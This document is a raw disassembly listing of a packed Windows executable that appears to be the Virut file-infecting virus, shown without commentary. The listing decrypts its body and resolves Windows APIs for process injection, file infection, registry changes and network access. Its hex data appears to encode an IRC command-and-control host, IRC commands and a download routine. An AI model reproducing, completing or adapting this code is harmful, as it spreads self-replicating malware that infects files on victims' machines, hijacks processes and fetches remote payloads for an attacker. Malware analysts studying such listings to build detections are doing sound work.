		dd 575D202h, 1246168Ah,	0C933C3D2h, 0FFEEE841h,	0C913FFFFh
		dd 0FFFFE7E8h, 0C3F272FFh, 28247C2Bh, 1C247C89h, 0C361h
		dd 2 dup(0)
		dd 0E2AA0000h, 0E2B7000Fh, 0Fh,	4 dup(0)
		dd 656B0000h, 6C656E72h, 642E3233h
		db 2 dup(6Ch), 0
dword_4FE2B7	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA		db 0A0h
		dd 517C80ADh, 0E47C809Ah, 7C809Ah, 0
		dd 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h
		dd 6441636Fh, 73657264h, 56000073h, 75747269h, 6C416C61h
		dd 636F6Ch, 72695600h, 6C617574h, 65657246h, 10000000h
		dd 80000h, 0
		dd 40h,	3 dup(0)
		dd offset dword_4C4C44+303Ch
		dd 33h,	20000033h, 1000004Eh, 0D1F80040h, 4Fh, 4Eh, 1C6B0000h
		dd 0C16E7265h, 2E32336Ch, 3B7D764h, 4E832001h, 616F4C80h
		dd 6269D0F9h, 79E47276h, 470F4170h, 47507465h, 6497636Fh
		dd 739CDE1Fh, 69561F78h, 61757443h, 0D158FE6Ch,	468D0D28h
		dd 0C87C734h, 0
		db 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		pusha
		push	ebp
		mov	ebp, esp
		call	sub_4FE3A1
		call	sub_4FE409
		mov	ebp, fs:0
		sub	ebp, 0FFFFFFF8h
		jmp	loc_4FE3C6
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_4FE3A1	proc near		; CODE XREF: start+4p

var_8		= dword	ptr -8

		push	dword ptr fs:0
		mov	fs:0, esp
		xor	eax, eax
		push	8
		push	eax
		push	2000h
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	ds:dword_4FE2B7	; LoadLibraryA


loc_4FE3C6:				; CODE XREF: start+17j
		sub	edx, edx
		sub	ecx, ecx
		mov	cl, 0B5h


loc_4FE3CC:				; CODE XREF: sub_4FE3A1+2Dj
		inc	edx
		dec	ecx
		jnz	short loc_4FE3CC
		call	sub_4FE406
		sub	ecx, 0FFFFFFBFh
		push	ecx
		mov	ebx, 243Ch


loc_4FE3E1:				; CODE XREF: sub_4FE3A1+4Ej
		xchg	al, [ecx]
		xor	ax, dx
		xchg	al, [ecx]
		inc	ecx
		sub	ebx, 1
		cmp	ebx, 0
		jnz	short loc_4FE3E1
		pop	ecx
		mov	esp, fs:0
		pop	dword ptr fs:0
		leave
		mov	[esp+20h+var_8], ecx
		popa
		jmp	ecx
sub_4FE3A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FE406	proc near		; CODE XREF: sub_4FE3A1+2Fp
		pop	ecx
		jmp	ecx
sub_4FE406	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FE409	proc near		; CODE XREF: start+9p

arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [ecx+0B8h]
		retn
sub_4FE409	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		test	dword ptr [eax+242Bh], 80000000h
		mov	[eax+29ACh], ebx
		mov	ebx, [esp+4]
		jz	short loc_4FE462
		cld
		pop	ecx
		mov	[eax+29B0h], esi
		mov	[eax+29B4h], edi
		cmp	byte ptr [eax+242Fh], 0E8h
		jnz	short loc_4FE459
		add	ebx, [eax+2430h]
		mov	ebx, [ebx+2]
		push	dword ptr [ebx]
		jmp	short loc_4FE461
; ---------------------------------------------------------------------------


loc_4FE459:				; CODE XREF: .RLPack:004FE44Aj
		mov	ebx, [eax+2431h]
		push	dword ptr [ebx]


loc_4FE461:				; CODE XREF: .RLPack:004FE457j
		pop	ebx


loc_4FE462:				; CODE XREF: .RLPack:004FE433j
		push	ebp
		xchg	eax, ebp
		sub	dword ptr [esp+4], 44Bh
		and	ebx, 0FFFFF000h
		sub	ebp, offset loc_401006
		mov	edi, [esp+4]
		lea	esi, [ebp+40343Ch]
		mov	ecx, 0
		rep movsb


loc_4FE489:				; CODE XREF: .RLPack:004FE4A5j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jnz	short loc_4FE49F
		mov	eax, [ebx+3Ch]
		lea	eax, [eax+ebx]
		cmp	word ptr [eax],	4550h
		jz	short loc_4FE4A7


loc_4FE49F:				; CODE XREF: .RLPack:004FE490j
		sub	ebx, 100h
		jnz	short loc_4FE489


loc_4FE4A7:				; CODE XREF: .RLPack:004FE49Dj
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_4FE4B5:				; CODE XREF: .RLPack:loc_4FE4DCj
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax-1], 74654700h
		jnz	short loc_4FE4DC
		cmp	dword ptr [eax+3], 636F7250h
		jnz	short loc_4FE4DC
		cmp	dword ptr [eax+7], 72646441h
		jnz	short loc_4FE4DC
		cmp	dword ptr [eax+0Bh], 737365h
		jz	short loc_4FE4E1


loc_4FE4DC:				; CODE XREF: .RLPack:004FE4BFj
					; .RLPack:004FE4C8j ...
		loop	loc_4FE4B5
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4FE4E1:				; CODE XREF: .RLPack:004FE4DAj
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		call	near ptr loc_4FE507+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_4FE565+2
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_4FE507:				; CODE XREF: .RLPack:004FE4F8p
		add	gs:[ebx-1], dl
		setalc
		mov	dword ptr ss:loc_40353C[ebp], eax
		call	near ptr loc_4FE523+1
		inc	ebx
		jb	short near ptr loc_4FE57E+1
		popa
		jz	short near ptr loc_4FE57E+4
		inc	ebp
		jbe	short near ptr loc_4FE584+1
		outsb
		jz	short near ptr loc_4FE562+2


loc_4FE523:				; CODE XREF: .RLPack:004FE512p
		add	[ebx-1], dl
		setalc
		mov	[ebp+403540h], eax
		call	sub_4FE53F
		inc	edi
		db	65h
		jz	short near ptr loc_4FE57E+4
		popa
		jnb	short loc_4FE5AD
		inc	ebp
		jb	short near ptr loc_4FE5AD+1
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_4FE53F	proc near		; CODE XREF: .RLPack:004FE52Dp

; FUNCTION CHUNK AT 004FE5E8 SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 004FE728 SIZE 0000013A BYTES

		push	ebx
		call	esi
		mov	[ebp+403544h], eax
		call	sub_4FE5BD
		test	eax, eax
		jz	short loc_4FE572
		push	eax
		call	dword ptr [ebp+403544h]
		test	eax, eax
		jnz	short loc_4FE56C
		lea	eax, [ebp+4011D2h]


loc_4FE562:				; CODE XREF: .RLPack:004FE521j
		mov	dl, [eax-1]


loc_4FE565:				; CODE XREF: .RLPack:004FE500j
		call	sub_4FE5D8
		jmp	short loc_4FE5E8
; ---------------------------------------------------------------------------


loc_4FE56C:				; CODE XREF: sub_4FE53F+1Bj
					; sub_4FE53F+136j ...
		call	dword ptr ss:loc_40353C[ebp]


loc_4FE572:				; CODE XREF: sub_4FE53F+10j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_4FE59C


loc_4FE57E:				; CODE XREF: .RLPack:004FE518j
					; .RLPack:004FE51Bj ...
		lea	esi, [ebp+403435h]


loc_4FE584:				; CODE XREF: .RLPack:004FE51Ej
		mov	edi, [esp+4]
		movsb
		movsd
		mov	ebx, [ebp+4039B2h]
		mov	esi, [ebp+4039B6h]
		mov	edi, [ebp+4039BAh]


loc_4FE59C:				; CODE XREF: sub_4FE53F+3Dj
		pop	ebp
		retn
sub_4FE53F	endp

; ---------------------------------------------------------------------------


loc_4FE59E:				; CODE XREF: sub_4FE5BD+2p
					; sub_4FE53F:loc_4FE7A7p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4FE5AD:				; CODE XREF: .RLPack:004FE537j
					; .RLPack:004FE53Aj
		les	ebp, [edx+0]
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
; ---------------------------------------------------------------------------
aVt_3		db 'VT_3',0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_4FE5BD	proc near		; CODE XREF: sub_4FE53F+9p
		xor	ecx, ecx
		call	loc_4FE59E
		lea	edx, [ebp+4011A1h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+403540h]
		add	esp, 20h
		retn
sub_4FE5BD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FE5D8	proc near		; CODE XREF: sub_4FE53F:loc_4FE565p
					; sub_5003AC+25Bp
		mov	dh, dl
		mov	ecx, 225Fh


loc_4FE5DF:				; CODE XREF: sub_4FE5D8+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_4FE5DF
		retn
sub_4FE5D8	endp

; ---------------------------------------------------------------------------
		db 8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4FE53F


loc_4FE5E8:				; CODE XREF: sub_4FE53F+2Bj
		and	dword ptr [ebp+401580h], 0
		and	dword ptr ss:loc_401584[ebp], 0
		and	dword ptr [ebp+401588h], 0
		mov	eax, [ebp+403431h]
		xor	ecx, ecx
		push	1
		mov	cl, 20h
		pop	dword ptr [ebp+40397Eh]


loc_4FE60F:				; CODE XREF: sub_4FE53F+E0j
		xor	edx, edx
		shr	eax, 1
		setb	dl
		shl	dl, 3
		add	[ebp+40397Eh], edx
		loop	loc_4FE60F
		push	edi
		mov	byte ptr [ebp+401303h],	1
		mov	[ebp+403548h], esi
		lea	esi, loc_4015BB[ebp]
		xor	ecx, ecx
		lea	edi, [ebp+403558h]
		mov	cl, 1Eh
		call	sub_4FE9A2
		pop	edi
		call	dword ptr [ebp+403594h]
		shr	eax, 1Fh
		jz	loc_4FE728
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	dword ptr ss:loc_403550[ebp], eax
		push	69CEh
		push	0
		call	dword ptr ss:loc_4035C8[ebp]
		test	eax, eax
		jz	loc_4FE56C
		xchg	eax, edi
		lea	esi, sub_401000[ebp]
		mov	ebp, edi
		mov	ecx, 0A74h
		sub	ebp, offset sub_401000
		lea	edx, [ebp+401283h]
		rep movsd
		jmp	edx
; END OF FUNCTION CHUNK	FOR sub_4FE53F
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+401A3Dh]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr ss:loc_403550[ebp]
		add	esp, 20h
		test	eax, eax
		jz	loc_4FE56C
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr ss:loc_403550[ebp]
		test	eax, eax
		jz	loc_4FE56C
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr ss:loc_403550[ebp]
		push	1000Ah
		call	dword ptr ss:loc_403550[ebp]
		call	sub_4FE718
		jmp	loc_4FE56C

; =============== S U B	R O U T	I N E =======================================



sub_4FE718	proc near		; CODE XREF: .RLPack:004FE70Ep
					; sub_4FE718+Dj
		push	1
		pop	ecx
		jecxz	short locret_4FE727
		push	0Ah
		call	dword ptr [ebp+4035BCh]
		jmp	short sub_4FE718
; ---------------------------------------------------------------------------

locret_4FE727:				; CODE XREF: sub_4FE718+3j
		retn
sub_4FE718	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4FE53F


loc_4FE728:				; CODE XREF: sub_4FE53F+10Fj
		cmp	dword ptr ss:loc_403570[ebp], 0
		jz	loc_4FE56C
		call	near ptr loc_4FE73F+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_4FE73F:				; CODE XREF: sub_4FE53F+1F6p
		add	bh, bh
		xchg	eax, ebp
		mov	ds:0B58D0040h, dh
		jnb	short near ptr loc_4FE75C+5
		inc	eax
		add	[ebx], dh
		leave
		lea	edi, [ebp+4035D0h]
		mov	cl, 0Bh
		xchg	eax, ebx
		call	sub_4FE9A2


loc_4FE75C:				; CODE XREF: sub_4FE53F+209j
		cmp	dword ptr ss:loc_4035F8[ebp], 0
		jz	loc_4FE56C
		mov	eax, dword ptr ss:loc_4035D4[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr ss:loc_403395[ebp]
		mov	eax, [ebp+4035E8h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E2h]
		mov	eax, [ebp+4035D8h]
		push	dword ptr [eax+1]
		pop	dword ptr ss:loc_4033E9[ebp]
		mov	ecx, dword ptr ss:loc_4035DC[ebp]
		jecxz	short loc_4FE7A7
		push	dword ptr [ecx+1]
		pop	dword ptr ss:loc_4033F6[ebp]


loc_4FE7A7:				; CODE XREF: sub_4FE53F+25Dj
		call	loc_4FE59E
		lea	edi, [ebp+40364Eh]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+40159Fh]
		mov	ecx, 1Ch
		mov	edx, esp
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah


loc_4FE7EC:				; CODE XREF: sub_4FE53F+2B0j
		lodsb
		stosw
		loop	loc_4FE7EC
		push	0
		push	69CEh
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+4035E0h]
		pop	eax
		add	esp, 40h
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr ss:loc_4035E4[ebp]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_4FE56C
		lea	esi, sub_401000[ebp]
		mov	ecx, 0A74h
		mov	ebp, edi
		rep movsd
		sub	ebp, offset sub_401000
		lea	eax, loc_40144C[ebp]
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_4FE53F
; ---------------------------------------------------------------------------
		dw 958Dh
		dd offset loc_4018E0
		dd 9C95FF52h, 0E8004035h, 16h
aLookupprivil_0	db 'LookupPrivilegeValueA',0
		dw 0FF50h
		dd 40354895h, 4C858900h, 50004035h, 6A206A54h, 0EC95FFFFh
		dd 85004035h, 3F755FC0h, 56026A96h, 6AD48B56h, 11E85201h
		dd 53000000h, 62654465h, 72506775h, 6C697669h, 656765h
		dd 4C95FF56h, 8B004035h, 565656C4h, 0FF575650h,	4035D095h
		dd 10C48300h, 3C95FF57h, 6A004035h, 0FF026A00h,	40357095h
		dd 128B900h, 2B970000h,	240C89E1h, 95FF5754h, 4035ACh
		dd 0A583F633h, 40363Ch,	0FF575400h, 4035B095h, 74C08500h
		dd 0FE83465Ch, 0FFEE7204h, 6A082474h, 0FF2A6A00h, 4035A895h
		dd 74C08500h, 3DE893DCh, 33000004h, 30E391C9h, 363C8539h
		dd 28750040h, 0DAEC181h, 54500000h, 50515650h, 95FF5350h
		dd 403568h, 7459C085h, 2474FF0Fh, 3C858F08h, 0E8004036h
		dd 0FFFFFDACh, 3C95FF53h, 0EB004035h, 28C48198h, 57000001h
		dd 353C95FFh, 0E5E90040h, 8DFFFFFBh, 58580049h,	29CE0058h
		dd 0D650000h, 3	dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4FE9A2	proc near		; CODE XREF: sub_4FE53F+100p
					; sub_4FE53F+218p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+403548h]
		stosd
		pop	ecx


loc_4FE9AD:				; CODE XREF: sub_4FE9A2+Ej
		lodsb
		test	al, al
		jnz	short loc_4FE9AD
		loop	sub_4FE9A2
		retn
sub_4FE9A2	endp

; ---------------------------------------------------------------------------
aBasenamedobjec	db '\BaseNamedObjects\W32_Virtu',0
aLstrlen	db 'lstrlen',0
aCreatefilea_0	db 'CreateFileA',0
aCreatefilema_0	db 'CreateFileMappingA',0
aCreateprocessa	db 'CreateProcessA',0
aCreateremoteth	db 'CreateRemoteThread',0
aCreatethread_0	db 'CreateThread',0
aCreatetoolhe_0	db 'CreateToolhelp32Snapshot',0
aExitthread	db 'ExitThread',0
aFiletimetosy_0	db 'FileTimeToSystemTime',0
aGetfileattri_0	db 'GetFileAttributesA',0
aGetfilesize	db 'GetFileSize',0
aGetfiletime_0	db 'GetFileTime',0
aGetmodulehandl	db 'GetModuleHandleA',0
aGettempfilenam	db 'GetTempFileNameA',0
aGettemppatha	db 'GetTempPathA',0
aGetversion	db 'GetVersion',0
aGetversionexa	db 'GetVersionExA',0
aLoadlibrarya	db 'LoadLibraryA',0
aMapviewoffile	db 'MapViewOfFile',0
aOpenfilemappin	db 'OpenFileMappingA',0
aOpenprocess	db 'OpenProcess',0
aProcess32fir_0	db 'Process32First',0
aProcess32nex_0	db 'Process32Next',0
aSetfileattribu	db 'SetFileAttributesA',0
aSetfiletime	db 'SetFileTime',0
aSleep		db 'Sleep',0
aSystemtimetofi	db 'SystemTimeToFileTime',0
aUnmapviewoffil	db 'UnmapViewOfFile',0
aVirtualalloc	db 'VirtualAlloc',0
aWritefile_0	db 'WriteFile',0
aNtadjustprivil	db 'NtAdjustPrivilegesToken',0
aNtcreatefile	db 'NtCreateFile',0
aNtcreateproces	db 'NtCreateProcess',0
aNtcreateproc_0	db 'NtCreateProcessEx',0
aNtcreatesectio	db 'NtCreateSection',0
aNtmapviewofsec	db 'NtMapViewOfSection',0
aNtopenfile	db 'NtOpenFile',0
aNtopenprocesst	db 'NtOpenProcessToken',0
aNtprotectvirtu	db 'NtProtectVirtualMemory',0
aNtwritevirtual	db 'NtWriteVirtualMemory',0
aRtlunicodestri	db 'RtlUnicodeStringToAnsiString',0
aWsastartup_0	db 'WSAStartup',0
aClosesocket_0	db 'closesocket',0
aConnect_0	db 'connect',0
aGethostbynam_0	db 'gethostbyname',0
aRecv_0		db 'recv',0
aSend_1		db 'send',0
aSocket_0	db 'socket',0
aInternetclos_0	db 'InternetCloseHandle',0
aInternetgetc_1	db 'InternetGetConnectedState',0
aInternetopen_0	db 'InternetOpenA',0
aInternetopen_1	db 'InternetOpenUrlA',0
aInternetread_0	db 'InternetReadFile',0
aAdvapi32_dll_0	db 'ADVAPI32.DLL',0
aRegclosekey_0	db 'RegCloseKey',0
aRegopenkeyex_0	db 'RegOpenKeyExA',0
aRegqueryvalu_0	db 'RegQueryValueExA',0
aRegsetvaluee_0	db 'RegSetValueExA',0

; =============== S U B	R O U T	I N E =======================================



sub_4FED3D	proc near		; CODE XREF: .RLPack:004FEDE4p
					; .RLPack:004FEDF5p ...

var_5		= byte ptr -5

		sub	ecx, 5
		sub	ecx, eax
		push	ecx
		push	0E8000000h
		lea	ecx, [esp+8+var_5]
		push	0
		push	5
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax
		push	esp
		push	40h
		push	ecx
		push	edx
		push	ebx
		call	dword ptr [ebp+4035F0h]
		add	esp, 0Ch
		call	dword ptr [ebp+4035F4h]
		add	esp, 8
		retn
sub_4FED3D	endp

; ---------------------------------------------------------------------------
		push	edi
		lea	eax, [ebp+4015B1h]
		xor	edi, edi
		push	eax
		push	0
		push	0Eh
		call	dword ptr ss:loc_4035A4[ebp]
		test	eax, eax
		jz	loc_4FEE20
		push	eax
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	100000h
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	ebx
		push	eax
		call	dword ptr ss:loc_4035E4[ebp]
		pop	edi
		pop	ecx
		call	dword ptr ss:loc_40353C[ebp]
		test	edi, edi
		jz	short loc_4FEE20
		mov	ecx, [ebp+401588h]
		jecxz	short loc_4FEDD8
		lea	edx, sub_401000[ebp]
		add	edx, ecx
		push	edi
		push	ebx
		call	edx


loc_4FEDD8:				; CODE XREF: .RLPack:004FEDCAj
		mov	eax, dword ptr ss:loc_4035D4[ebp]
		lea	ecx, [edi+2394h]
		call	sub_4FED3D
		mov	eax, [ebp+4035E8h]
		lea	ecx, [edi+23E1h]
		call	sub_4FED3D
		mov	eax, [ebp+4035D8h]
		lea	ecx, [edi+23E8h]
		call	sub_4FED3D
		mov	eax, dword ptr ss:loc_4035DC[ebp]
		test	eax, eax
		jz	short loc_4FEE20
		lea	ecx, [edi+23F5h]
		call	sub_4FED3D


loc_4FEE20:				; CODE XREF: .RLPack:004FED8Aj
					; .RLPack:004FEDC2j ...
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 401A14h
		xor	ecx, ecx
		lea	eax, loc_401DAE[ebp]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr [ebp+40356Ch]
		xchg	eax, [esp]
		call	dword ptr ss:loc_40353C[ebp]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 55h
		dd 0E8h, 0ED815D00h, 401A43h, 958DFF6Ah, 401A0Eh, 20CD5250h
		dd 2A0024h, 660CC483h, 1A5485C7h, 20CD0040h, 1A5685C7h
		dd 240040h, 0C35D002Ah,	16A016Ah, 73FF33FFh, 8515FF04h
		dd 68F074C0h, 0Bh, 35BD08Bh, 0B58D3C50h, 401A72h, 10CBA8Bh
		dd 8A8B0000h, 108h, 0CB2BF803h,	0F3CB8B60h, 57461A6h, 0EBF5E247h
		dd 0FC783C2h, 53D48B57h, 5450CC8Bh, 5251406Ah, 95FFFF6Ah
		dd 4035F0h, 8B0CC483h, 40357495h, 83D72B00h, 7C707EAh
		dd 0E8006Ah, 0C3035789h, 0E8581A6Ah, 9,	0AA61428Dh, 0F075C9FEh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4FEF05	proc near		; CODE XREF: sub_4FF770+1Bp
					; sub_4FF8E8+3p ...
		imul	edx, [ebp+403646h], 8088405h
		inc	edx
		mov	[ebp+403646h], edx
		mul	edx
		retn
sub_4FEF05	endp

; ---------------------------------------------------------------------------
		db 55h,	0E8h, 0
		dd 5D000000h, 1B09ED81h, 9D8B0040h, 40364Ah, 8247C83h
		dd 0B9840F00h, 81000000h, 208ECh, 4685400h, 0FF000001h
		dd 40359095h, 8DFC8B00h, 1042484h, 6A500000h, 4E800h, 52560000h
		dd 0FF570054h, 40358C95h, 8DC93300h, 10497h, 6A515100h
		dd 16A5102h, 68h, 95FF5240h, 40355Ch, 74F68596h, 6854505Bh
		dd 104h, 24B4FF57h, 220h, 362895FFh, 85590040h,	0E31674C0h
		dd 0D48B5014h, 5152006Ah, 95FF5657h, 4035CCh, 75C08559h
		dd 95FF56D0h, 40353Ch, 5244578Dh, 58446A57h, 104978Dh
		dd 33AB0000h, 59106AC0h, 5050ABF3h, 50505050h, 95FF5250h
		dd 403564h, 208C481h, 74FF0000h, 95FF0824h, 403618h, 1895FF53h
		dd 5D004036h, 800004C2h, 1750A3Eh, 848D8B46h, 0E3004015h
		dd 958D19h, 3004010h, 0D2FF56D1h, 880FC084h, 11Fh, 110840Fh
		dd 3E800000h, 4610753Ah, 0F003E80h, 10184h, 203E8000h
		dd 8146F175h, 4E49503Eh, 8B427547h, 146C6CFh, 51CE2B4Fh
		dd 5651006Ah, 1095FF53h, 59004036h, 850FC13Bh, 0DFh, 1DA2858Dh
		dd 6A0040h, 0C68h, 0FF535000h, 40361095h, 0C3D00h, 850F0000h
		dd 0BFh, 0B1E9h, 503E8100h, 0F564952h, 0A585h, 8C68300h
		dd 0F0D3CACh, 9984h, 75203C00h,	3A3CACF3h, 8C850Fh, 0DAD0000h
		dd 20202020h, 6567213Dh, 0AC7F7574h, 7C75203Ch,	20FF7E81h
		dd 75747468h, 37E8171h,	2F2F3A70h, 47C66875h, 310F00FFh
		dd 2710BAh, 52E2F700h, 35BC95FFh, 0C0330040h, 50505050h
		dd 9E8h, 776F4400h, 616F6C6Eh, 95FF0064h, 403620h, 3674C085h
		dd 8589C933h, 40364Ah, 2006851h, 51518000h, 95FF5056h
		dd 403624h, 1B03958Dh, 33500040h, 505154C9h, 0FF515152h
		dd 40356C95h, 24048700h, 353C95FFh, 0C3F80040h,	15778D80h
		dd 0F9010040h, 464F53C3h, 52415754h, 694D5C45h,	736F7263h
		dd 5C74666Fh, 646E6957h, 5C73776Fh, 72727543h, 56746E65h
		dd 69737265h, 455C6E6Fh, 6F6C7078h, 726572h, 67726154h
		dd 6F487465h, 2007473h,	0F0FF00h, 70000000h, 69786F72h
		dd 72692E6Dh, 6C616763h, 2E797861h, 4E006C70h, 204B4349h
		dd 6A657267h, 736D7962h, 4553550Ah, 30652052h, 30353032h
		dd 202E2031h, 2D3A202Eh, 4E494F4Ah, 69762620h, 0A757472h
		dd 0E855h, 815D0000h, 401DB4EDh, 7785C600h, 4015h, 359495FFh
		dd 0E8C10040h, 6A3C741Fh, 50B58B1Eh, 59004035h,	752E3CACh
		dd 3E81662Ah, 23751DFFh, 3640BD8Dh, 768B0040h, 66A55702h
		dd 6A858DA5h, 8F004033h, 40339085h, 4689FA00h, 0FE4E8CFAh
		dd 0E201B1FBh, 8D43EBCFh, 4015B185h, 6A5000h, 95FF0E6Ah
		dd 4035A4h, 8247C83h, 0E82B7504h, 4, 434653h, 358895FFh
		dd 48E80040h, 0E8FFFFFCh, 7, 5F434653h,	0FF00534Fh, 40358895h
		dd 0FC31E800h, 56E8FFFFh, 0FFFFFFF3h, 4013038Dh, 0BE800h
		dd 53550000h, 32335245h, 4C4C442Eh, 9C95FF00h, 0E8004035h
		dd 0Ah,	72707377h, 66746E69h, 0FF500041h, 40354895h, 54858900h
		dd 0F004035h, 0E08D8D31h, 89004018h, 40364685h,	95FF5100h
		dd 40359Ch, 46893h, 0B58D0000h,	4018EDh, 2CBD8D59h, 0E8004036h
		dd 0FFFFF6D6h, 6785C766h, 0FF00401Dh, 69A583F0h, 401Dh
		dd 1D27958Dh, 54500040h, 6A016Ah, 26852h, 95FF8000h, 403630h
		dd 755AC085h, 5A8D8D22h, 5200401Dh, 0B58D066Ah,	401D67h
		dd 50505654h, 95FF5251h, 403634h, 2C95FF58h, 0C6004036h
		dd 40384D85h, 0CE80000h, 57000000h, 4B434F53h, 442E3233h
		dd 0FF004C4Ch, 40359C95h, 7689300h, 8D000000h, 401844B5h
		dd 0BD8D5900h, 4035FCh,	0FFF651E8h, 0CE8FFh, 49570000h
		dd 454E494Eh, 4C442E54h, 95FF004Ch, 40359Ch, 840FC085h
		dd 1E7h, 56893h, 0B58D0000h, 401882h, 18BD8D59h, 0E8004036h
		dd 0FFFFF61Ah, 361CBD83h, 0F000040h, 1C284h, 90EC8100h
		dd 54000001h, 10168h, 0FC95FF00h, 81004035h, 190C4h, 0D48B5000h
		dd 0FF52006Ah, 40361C95h, 59C08500h, 88680D75h,	0FF000013h
		dd 4035BC95h, 83E2EB00h, 401D69BDh, 29750000h, 1D6D858Dh
		dd 0FF500040h, 40360895h, 0FC08500h, 13B84h, 0C408B00h
		dd 30FF008Bh, 1D69858Fh, 85C60040h, 40384Dh, 6A006A01h
		dd 0FF026A01h, 40361495h, 0FFF88300h, 112840Fh,	8D930000h
		dd 401D6595h, 52106A00h, 495FF53h, 85004036h, 0F2850FC0h
		dd 8D000000h, 401D86BDh, 0E808B100h, 0FFFFFABCh, 9468h
		dd 0E62B5E00h, 54243489h, 359895FFh, 0BD8D0040h, 401D94h
		dd 9DE801B1h, 8BFFFFFAh, 0C1102444h, 440B08E0h,	0E0C10424h
		dd 24440B08h, 5E85008h,	25000000h, 78362Eh, 5495FF57h
		dd 83004035h, 47C60CC4h, 958D2006h, 401D81h, 2168006Ah
		dd 52000000h, 1095FF53h, 8D004036h, 5714247Ch, 355895FFh
		dd 4C60040h, 6A400A38h,	53575000h, 361095FFh, 0E6030040h
		dd 1DA2BD8Dh, 6A0040h, 0C68h, 0FF535700h, 40361095h, 0C3D00h
		dd 4D750000h, 364EB58Dh, 8D8D0040h, 40384Dh, 6ACE2Bh, 0FF535651h
		dd 40360C95h, 0F88300h,	8B912F7Eh, 4EB58DFEh, 0B0004036h
		dd 75AEF20Dh, 0F8E86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh
		dd 2BCF8BEAh, 4EBD8DCEh, 0F3004036h, 0EBF787A4h, 95FF53B9h
		dd 403600h, 1577BD80h, 74010040h, 7530682Ah, 95FF0000h
		dd 4035BCh, 384DBD80h, 74000040h, 6985C711h, 401Dh, 0C6000000h
		dd 40384D85h, 56E90000h, 0C7FFFFFEh, 40158085h,	0
		dd 4C25D80h, 4F0A0D00h,	6F6F6E20h, 666F206Eh, 66696C20h
		dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h
		dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h
		dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h
